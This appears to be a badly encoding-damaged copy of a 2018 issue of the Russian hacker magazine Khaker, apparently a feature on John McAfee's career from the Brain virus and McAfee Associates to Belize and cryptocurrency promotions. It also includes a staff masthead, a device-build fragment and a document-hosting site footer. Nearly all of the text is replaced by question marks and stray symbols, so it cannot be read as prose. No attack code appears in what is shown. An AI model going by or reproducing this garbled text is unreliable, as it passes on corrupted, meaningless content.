????� ????,� ?� ??� ?????� ???�???????� ?� ???�?????�?.� ??� ?????�?,� ??� ???�?
??????��???�??�????�??�??�????燣ockheed�??�????�??�????�?��???�
???�????�???�??�??????�??燤S?DOS�� Brain,�??�??????�??�????�??
????�??� ?� ???????� ????� ??� ?????�???.� ????�????� ???�??� ????� ????????
???�???� ???????,� ????�???� ??� ?� ??� ???�?.� ?????�??�?� ???� ????� Brain
?????� ??� ???�???� ?????�???,� ?� ??????�??� ????????� ??� ???�?� ????.
?????� 1987???� ????�?� ?� ???� ?????� ???�??�???� ?????�??????� ?????� ??????�
???�??.
?�??�???�??�???�??��????.�?????�???�???�?�???�???�?�??-�
????�????�??�??�?�??�???�???.�?????�????�???�?.
???� ????�?????� ??????� ???????� ????�????�??� ???�????� ?� McAfee� As?
sociates.�??�??????�???�???�?�?????爏hareware��???�??�???.��??�?
????�?????�??� ???�????,� ???�???????�?� ??????�?????� ?� ???� ????�???�??
????,� ???�????� ??????� ????� ???�?????� ???�?� ???�???� ???�????�??� ?� ???.
???� ????�????�??� ????�????� ??????�???� ????�??�??� ?� ????� ????�??�???,
??�??�??�????�??�??�??��?�??�?.��92�???�?�??�????�???�???�
???� ???�???�??� ??????????.� ?� ???????� Michelangelo,� ????�?????� ???�?
????�?????�???� ??????�??�??,� ??????� ???�???�?� ??� ????,� ???� ???�?� ?� ????�
?????�????.
???�???� ???�?� ??� ????� ???�?????� ?????�??�??� ?????� ????� ????-�
??????�??????�??????�??�?!
???� ???????� ???� ??????�???� ???�?� ??????,� ???�??????� ?� ???�??� ????
?????�???,�?�??�??�??牜???�?粻???��?�???�?????.
WWW
????�???� ???� ????�?� ???�????�?� ???�????
Sophos�???�???�?,�??�??�???.
?????�???�??�??�????�??�??�????�??�?�?????�?�??�????�???�??�?
????� Peter� Norton� Computing� (?� 1990� ????� ???�?????� Symantec),� ????�?????�
???� ???�?� ?????�?????�??� ???�??�?.� McAfee� Associates� ???????� ???????
??� ???�?� ?� ???�????�?� ???�????�???�???� ???�????.� ????�?� ???� ????
??????� ???�???� ????� ?????� ??� ???� ???�?????� ???�????,� ???�???� ?????�??
????�??�??�???�??�???.
?� ??????�???� ???�??�??� ???�???� ?� ???�??????� McAfee� ??????�???� ????�
????.� ?� 2010� ????� ???????� ?????�?� ???????� ??� ?????� ???�?,� ???� Intel:� ???�?
???�??�?????�??�?????�????�??�?????�?�????燤cAfee�?�68�??�???�?
???�????.��???�????�?燤cAfee��??�??�??�?�????�????��???�????�
?????�??�??�????��?????�?��?�??�???�???�??�?.�???�?�????�???�
??營ntel�???�???�???��????�??�????�?�??�?????�??�?�?????�??????�
??????�???�???�??�??????�??�????.��??�?�??�???�???�?��???????�
????� ???�??????,� ?� ????�???�???� ?� ???????� ???�??� ????�???� ????�?� ???�?
???????�???�??�??????�????.
???� ???�????� ?� ?????�????�?� ????�???�??� ???�??� McAfee� ??????�?
????�??�???�?????��????�????�???�?????,�??????�?�???�????�????�
???�???�???� ?� ??????�????�??� ???????�???� ???�???�???� ???�???� Adobe
Flash燩layer.�?????�???�??�???�?��???�???�??,�??�????��??�??�?�?
???�???�?�???�???�??�?�??�?�?????�?�???�????.�???�??�???�??�??
?????牜???�??�???�???�????�?????�.�??�?????�?�??�????,�???�??�?
?????!
????��??????????
???�?� ???�???� ???�????� ????� ??????� ?????� ???�?� ?� ????� ?� ??????�???
?????�????�??.� ??????� ?� ?????� ??????� ???�????�??� ???� ??????�???
??????�????� ????� (???� ????�?� ???????�???� ???�??,� ???� ???�???,� ??� ???�?
??��????�??�??,�??�?�??�???????).�?燗mazon�??�?�??�??????�???�
??????燚VD�???.
?�??�??�??�???��??????�???�??�?????�??�???�????�????�??�????
???�?�??�????�??�?????,�??�????��??�??�??�?.�??�???�????�????�
???� ???�??�????� �????�??� ??????�.� ???�?????� ???� ?????�?????� ??????
????????� ?� ??????� �??????�??� ??????�?�.� ???�?� ????�?,� ???� ???� ???????
????� �???�????粻 ?� �????�,� ?� ??????� ?????�??????� ???�??�?� ?????�?
??燝ogol燘ordello.
??�?� ??????,� ???�?� ??� ?????�??� �??????�?粻 ???� ????�??� ???????,
????�??� ????� 86-???�??� ??????�?.� ???� ???� ?????� ????�??�??� ????
?�?�??�?!
�??�??�???粻?????�?????�??�????�?.�????�??�??�??�??�?????�??�??
?????�??�????�?�??�?�?????�?�???????�??�???��??�?�???�??�????�
??.�???�?��??�????�????�??�??�????�?????�??�??,�????�?????�?
????�???�???�?????�??�?�???�??�?????�??�????�????�???,�??�?????
?????�??� ?????�????�?� ????�???� ?????� ?� ???????.� ??????� ???�??� ???
??????�??� ???,� ???????� ???????�?� ??� ???�????�????� ?� �????�??
???????粻????�???�?????�??�????�????��???�??�??��???.
??????
??�????�????�????�??�??�08???��????�??�??�??�??�??�??�?�????�
??� ??� ?????�????�??,� ???�???� ??� ???� ???�???.� ???�?� ???� ????� ???�?????
???????� ?� ????� ??????,� ???????�????�??� ?� ???�????????� ??� ????� ????�?.
???�??�???� PowWow,� ???� ???????� ??� ???????,� ???�??� ???�???????�???�?
CMGI�??��99�???.
INFO
PowWow� ???� ??� ???�??� ????�???�????� ???�???�
???:� ???�????�??� VoIP???????�??,� ????�????
????,� ???�???�?� ???????�??� ???�?� AOL� Instant
Messenger�(AIM)�燤SN燤essenger.
???�??�???�??????��??�?????�??�??�???�???�?��??�???��??�?????�
???� ???�???� ?� ????�???�??� ???�?� ??????�????� ??� ???�?????�??� ?????????�
???�???�????�??燪uorumEx.�?�???�?�???�??�?�???�??�????�??�??????�
??� ????�?� ?� ??????�???� ?????�???�??� ???�???�??�??� ????�????� ?� ???�??
?牜????�??�??�???粻?�??�????.�??�??�?�??�????�????.
??�???,� ???,� ???� ???�?????� ?� ??????,� ??????,� ???� ?� ????�??�?� ?� ??????.
???�?�??�??�??�??�????,牜????�????�?�??????�??�???�??�.�????�???�
??� ???�???�?� ???�??� ???�????� ???????:� ?????�???� ???�???� Wired,� ????�???
??� ???�??�??� ???????� ???�??� ??????,� ???????�???� ????�????� ??????
John� McAfee?s� Last� Stand,� ???�?????�???� ?� ???�????�??� ???� �????�??�?�
??????��?????�?????.
????�?????� ???�??� ?� ????�?????� ????�?� ?????� ???????,� ???� ???� ????�??�?
??�??�???�??�??????,��??????�????�??�????�????.
? 30� ????�?� 2012� ????� ??????� ????�????� ?� ??????� ???????????� ???�??
???�????�???�?� ???????� ??????� ??� ????�?� ?� ????�???�??�??� ?????�
?????????��??�?��???�???�??��??�?????�??�?????�???�??�??????
???� ?????�??� ?� ???�????� ??????�??�??�????�???� ???�??.� ????�????
????�??�?????�??�?�????�??�???�?�????.牜?????粻??�??�?�???.
? 12� ????�?� 2012� ????� ???????� ??????� ??????� ????�?� ??????� ?� ???�?
?�???�????�??�?????,�???�???�?�??�??�?�??�???�??�???�???�?
???�?.
? ????� ???�??� ???�???� ?� ?????�????�??� ??????�?� ?� ??????� 11� ?????�
??� 2012� ????� ?� ???� ????� ??� ?????�?� ?????�??????.� ???�??� ????�?
???????,� ???�???�??� ??� ??????� ???�????�???,� ??� ???�?.� ??� ???�??
?????� ???�???� ????�??� ?� iPhone.� ???�??� ???� ????�?????�?� ????�????
?� ???� ??� ?????�??� ???????.� ???�????�??� ????�????� ??????� ???� ?� ??
????�????�???�?.
??????�??�??�??�????,�??�?????�?�??�?�?????�??�??�?????�??�???�
??,�????��??,�??�?????�???�??�???�??�??�????�??�??�?????�????,
???????� ????�??????� ?� ????�?????�?� ???????� ?????� ?� ?????�?????� ??� ????�
????�???� ???�??� ???�??????.� ?????�??�?� ???�?� ???�?� ???????� ???�?
????????.
?� ??????� ???�???�???�?� ????� ?????�??�??� ?????�?????�?,� ????� ????�
?????�????�(????�???�?�????�??????),��?�??�?�??�???�?�??�???�?
???�???� ???????� ???�???.� ????�??� ?� ????� ????� ???????� �???�??�??
?????�????�??粻 ?,� ???�??????� ?� ???,� ???�??� ???�?� ????� ???�????�???
????.
??�????�??�????�?????
???� ????� ??????� ???�??,� ???� ????�?� ???�????� ??� ???,� ??� ??????�??� ????,
?� ?????�???� ???????� ?????� ????�????� ???.� ??????� ?????� ???�??� ????,
?� ???????� ???�??�????,� ???� ?????�?� ?� ???�??�?� ???�????�????�???� ?????�
????,�???�???�??�??�??�?�?�??�??�?????�???.
?????�?????????� ??????� ???� ???�??,� ???�????�??� ????�???,� ???�??
??????�???�?????�?�?????�???.
?????��????????
???�?????�????�?�???�????�???�?�????��????�???�???�?.�??�?????
???�???�??�?????�????��????�??�????�???,�??�??�?�??�??�????�?
????�?� ???�???� ???�?,� ????�??� ????�????� ?� ?????�?� ?� ????.� ??� ???�?
???????,�??�?�??�?�??�?�??�???�??�????�???�?????�?�???�??�???�?
???�??�??�?,�?????�??�?????�?��??????.
???�?????�????�??�???�??�?�??????��??�???�??�??�??�??�???,
???�?�????�???�??�???�?????��???�???????�??�??�??�??.��???�????�
???� ????� ?� ???�??� ??????�???�??� ???�?????�?:� ??� ????� ?????� ??� ????,
???� ??????� ???� ???�??� ???�??�?� ?????� ???�???,� ??� ??� ?????� ???????�?
?????�???�??�???�??��?????�?�?????�?,�??�?�??�??�???��??????
???�???�??�???�????.牜?????粻??�??��?�???�???�??.
??�??� ???�???�?� ??????� ????� ??????� ???� ????�????� ?� ???�???�?.� ??
???�??� ?� ???�?� ?� ????� ???�??� ???�???� ???�????� ???�????�??� ??� Vice.com.
??� ????�?� (???� ?????� ???� ?????)� ???� ????�?????�?� ??� ???�?� ???�?� ??????�
?????� ?� iPhone,� ???????� ??� ????�????� ???�????� GPS?????�?????
?�??????�??.
???�?� ??????� ???????� ?� ???�?� ???�?,� ???� ???�????�?� ???�????� XIF,
??�????�??�??�??�???�???.�??�??�??�?,�??�?????�???�??�???�?�????�
??????�??�??�?????�?????�?????�??�??�??�???,��???�?�?????�?�???�
??� ???�?????� ???�???� ?� ???�??????�??� ??????.� ??????� ????�?� ?????� ?????�
???� ?� ???�???� ?????�???�???� ???� ???�??�???�??� ?� ???� ?� ???�??�?
?�??????�????.
???�?????� ???????� ?� ???�??�???�??� ??????�???� 2016� ?????:� �??????
??????� ?� ???� ???�???� ??� ???�??� ???�??� ?????�?� ??????� ???� ???�???
??????�??.�??�?????�??????�???�???�???�???�??�??�?????��????�
?????�??,�?�????��???�?????�??.�???�?�?�?�??�??????�?????�.
????????�?�??????
?�13�???�???�?????�????�?�?�??�??�???�??,�???�????�?�?�???�
????.� ??????�???� ????�??�?� ??� ???�???�?,� ????� ???�??,� ?� ???�??�???,
????� ???�????.� ?� ???�????� 2015� ????� ??????� ?????� ??????�?� ?????????�
?????��???�??????�?�??�?�?????�?燳ouTube�??????牜?????�?????�.
????� ???�?� ??????� ????�??�???� ????�?,� ???� ???�?????�?� ???�?� ?????
???�?????�???�?�?�???�??�????�?�?�????�???�?????�??�??��????�?
??????�??�??� ????� ?� ????�?.� ????� ???�???�?� ??� ????�????�??� ????�?
?????�???�????��???�????�??�???�?????��???�??�?��??�????�??�???�
????� ??????�???�??� ???????.� ??� ???�????� ????�????� ??????� ??????�?
??????�??�?��???�???�?�?????��??�??�??�???��??????�???.
??�????,� ???� ????� ??????� ?????�?� ??� ?????� ??????�??�??� ?????�?
?�???�?�?????�??�????�???�??�????�???�???.
??????�營PHONE
?�??�??�??�?�??�?????�???�??�????�???�?????�?????��??�?燫us?
sia� Today� (???� ??� ???�??� ?????),� ???� ?????� ?� ?????�??� ???�?????�??� ??�???
???�???�???�???�???爄Phone��??�????�?�?�??????�????�?.
??�??�?????�?????� ????�????,�??�??�??,�?��??�???�?????�????:
�� ????,� ???,� ???�????� ?????� ????�??,� ?� ????�???� ??� ???�?� ?????�???�???
???�????,�??��??�???�?.�?�????�?�???燳ouTube?????�???�??�?????�?
???�0�????�???�?????.�???�????�???�???�???�??�????�??�?????�
???� ?� ????�???� ???,� ???????� ????�???� ???�?????� ???�????�???� ?????�??.
???� ?� ???�??� ???� ???� ???�???,� ????�?� ???????� ??� ????� ???�??� ???�?
??�???�?�??�???�????�???.�????�?��??�????�??�?�??�???�????�.
??�????� ????�???� ???�???????� ?� ????�???�?� ??????� ??� ???�????�?� ?� ????�
???�??�?燱hatsApp.
??????��???????????
??�???�??�????�?�????�??�??�??�??�????�?????�?�???�?�????�???�
???� ???????� ??????�?� ????�?,� ??� ?� ???�??� ?� ????�??� ??????�????� ????�
??????�?�????�???�?????�??�??��???�???�??�??�??�3%�??????.
????�?????�?????�?�???�??????�???�???�????�???��??�????燤GT
Capital� Investments.� ???� ???????�??� ???????�???�??� ????�?� ????�?� ???� ????�
????�?�?�????�?????�???�?�?????�???.�??�?????�??�??�?�?�????�
?????:�?????�??�???,�??�?????????,�?????�??,�????�??????�????,�???�
????� ???�??�??.� ????�?� ?� ???????� 2017� ????� ??????� ???� ????�?� ???�?????
??� ????�???� ???�???�??�?� ??� ???�????� ?????�??????�????,� ?� ?� ???�???
?�??�?�?????�?燤GT�?�?????�??�????��??????�???.
???� ???�????� ????�??� ??????� ???????� ???� ??� ???????,� ???� ????�??� ????�
?????�?� ???�???.� 825� ?????� ???�????�??� ???�??� ??� ????�?� ??� ?????�??
?????�?????� ?????�???� ??????,� ??� ?� ??� ???????�???�??� �????�?� ??????�
???????�????粻(???�??�????�???�???????�???)�?�??????�???��????�
??????�?� ?� ICO.� ?????� ???�?� ???????�?� ????�???�?� ????�???.� ???�?????
???�??� ?� ICO� Pink� Taxi.� ??????� ????� ????�??�?� ??� ???�????�????,� ???????
???�?????�??�???�???�??�??�???�???燗2B�?�??�?.�??�?????�??�????�
???�?燤cAfee燙rypto燭eam��??�????�????營CO?????牜??????,�???��???�
????�.�?�??�?????�??�??�???�????�???�??�????�??�????�?�???.
??�????,�??��??�??�?,�?????�??��?????�??�???�??�?�??�???-�
???????,� ??� ??� ???�?????� ????�??� ICO� ??� ?????�???� 195� ?� ???�???
????.��???�????�???�?�?,�?�??�???.
?????� ???????�???� ????�?� ??� ????�?� McAfee� Crypto� Team� ????�???� ????�?
?????�??�???�??�???��??�???�0�??�????.
??�??�?????�??�??�???牜??????�??�,��??????�?�??�??�???�???�
?????� ???�????�??� ????�?????�?� ????�??�???� ????�?????�?,� ???�?� ????� ??
????� ????�?????�?� �?????�??�.� ???�?� ????�????� ?� ?????� pump?and?dump
????�??????�?�??�?????�??�??�??,��????��??�?�???�??�?�?�???�
????,�??�??????�??�??�?�?????�??�????�???.
???� ?????� ???� ????�??� ??????� ????�???� ??????� ?� ?� ???????� ???�???�??
?????� ????� ???????�????� ?� ?????�?� ???????� ?????:� Basic� Attention� Token
(BAT),� Nxt� (NXT),� Siacoin� (SC)� ?� Patientory� (PTOY).� ???� ??????� ??????�?� ?????�
??????�??�??�?????�??�???,��????�??�?�???�???�??�?�???�??�???�
?????�???�??.
WWW
??� ?????�???� ???�??� ??� ????�??,� ???�?� ??????
?????�??�(???�???�??)�?�???�???�???�?�????�
?????�??�?????�????,�???燘itcoin�?�??�?????
????� ?� ???�????�??� ???�????.� ???�?� ?� ???�???�
???� ????�??� ???�?� ??� ????� ???�????:� ???�???
???�????� ??� ???�???� ??� ???�?� 2020� ????.� ??????
???� ???�??� ????� fnordprefekt.de,� ???????� ????�
????�?�??�???�?�??,�??�??�???�?�???�??.
??????��???
????�?????�???�?牜?????�????�??�???,�??�??�?????�.�?????�???,�??
????�??� ????�????� ???�????� ??????�??�????�??.� ???????�???�??� ?????
�???�?:� ????�??� ?????� ???�?� ??????粻 ?????� ?� ????�??� ????.� ?????�???
??????�??�????�?� ???�???� ???????�????� �??� ?????� ??????�.� ???�?� ????�
???,� ?????�??� ???????�??� �???�??�??� ???�???�,� ??????�?� ???� ????????�
????�??�????????�???牜???�??�?????�.
?�???�??�???�??�???�??????�???�??�????��????�???�?�?????
?� ??????� �?????� ????�???粻 ??� ???�?� ???�??� ??????� ?� ???�?� ??� ???� ?????�
???�?????� ??�???燱arner燘rothers.��13�???�????�???�?�?�??�?�???�
???� ???�????� ????�???� ???�??� EPIC,� ????�??� ??� ??????�?� ?????� ?????
?�??�?????.�?�????牜???�????�?????粻???�??�??????牜?????粻??�??�??
????�??????�??�??�????.�??�??�??�??�???????�?�???�?!�?�????�???�
??????�????�??,�?�???�??�???�????�???�???�?�???.�???�??�?????
?????,�??�?�??�??�??�??�??�??�??.
?05�(230)
�
????�??????
????�??�????�??
rusanen@glc.ru
????�??�???�??
?????�?????�????�??
glazkov@glc.ru
�
??�???�???�??�??
?????????�??
pismenny@glc.ru
??�????�?????�?
??????�??�??�????�??
??�??�???�??�??
??�???�???�??�??
pismenny@glc.ru
aLLy
iam@russiansecurity.expert
�
�
????�??????
rusanen@glc.ru
??�????�??�??
zobnin@glc.ru
�
�
????�????牜Dr.粻
?????????
lozovsky@glc.ru
??�??牜ant粻?????
zhukov@glc.ru
MEGANEWS
??�??�?????�?
nefedova@glc.ru
???
yambuto
yambuto@gmail.com
???�???
??�?�???�???�
??�??�??�?�???�??�????�
yakovleva.a@glc.ru
???�??????�????��??�????
???�???�?�??�????:爈apina@glc.ru�
� ??�???�?�?????�???:爏upport@glc.ru�
?
??�??�????�??:�5080,�????�??�??,�?????�??�???�??�?,�??��???�???��???��?????�??營X,�??�???�,�???��???�???:�?
????�???�????�??�????,�0046,�??�?????�???�??????,�.�??�?????,�?.�???�?�??????,�.�.�???�?????:�??牜?????�??粻� �5080,
?????�??�??,�?????�??�???�??�?,�??��???�???��???��?????�??營X,�??�???�,�???��??????�??�???�?��???????�??�???�?
??�??�???��??�?�??�?,�??????�???�??�??�??????��??�????�??�?????�??�(???�?????�???),�??�?????�???牋??�牋??77?�001�?牋30.�
08.�16� ????.� ???�??� ?????�??� ??� ???�?????�?� ???�???�?� ?� ???�???� ????�??.� ???� ??????�??� ?� ??????� ???�??�????�???� ???� ???????�??
?� ???�????�??.� ????,� ??????�?????� ???�??� ???????�??� ?� ???�???�????�??� ?????,� ?????� ????� ????�?????� ?� ??????�???�????.� ?????�??
??�????�?????�???�????�?�????�????�??�?????�??�???�??��?????.�?�??�????�????�?????�??��?????�??�???�?�?????�??????
?????�???�??�?????�???�??�???�???�??�???�?�???�?:爔akep@glc.ru.牘�??�??牜?????�,�?,�18
�?????�???�???�?��??�?????.�??�????�?????�??�???:� 0?9,� a?
z,� A?Z,� ?=[];'`.,/~!@#$^&*()_+<>?{}":|,� ???�??.� ???�??� ????????� ????�
?????�?????� ???�????� ?� ?????� ???�?� ???�??????� ?� ??�?????� ????� ??????
@amperka/usb?keyboard.js.� ????� %� ??????�???�?� ???� ?????�????� ???????
???�??�???�?��??�????��?�??�??�????�???�?��????�?????.
??�??�????�????�???�????
??� ???�?� microSD� ?� ???�????� ???�????� FAT32� ?� ???�?� db� ???�???�?� ???�?
???�??�??????,�????�????�????��?????,�??�????�??�???�??� Enter.
???�??�?�????�??�???�?�??�??�???.
????�???�???�?�?????�????
?????�???�??�?,�???�???牜?????�?�.�?�???�?�?????�?�??�???� Password
Manager,��????�???��??????�??燬elect燗ccount�(???�??�??�????�?�???�
???).�?????�?�?�???�?�???�?�+,�?�??�???�???�?????�?�??�?牜???�??�
?�?????�???�??�???� Encrypted��???�????�???��????�????�?�??�???�
??� (????�???�?).� ???� ????� ?� ???�??� ??� ???�?� ??????� ?????� ?????�?????,
?�???�??�?�??????�??�??????�.en?.
????�???�???�??�?�
Автор
barmaley
barmaley1046   документов Отправить письмо
Документ
Категория
Без категории
Просмотров
31
Размер файла
75 795 Кб
Теги
ХАКЕР №230 2018
1/--страниц
Пожаловаться на содержимое документа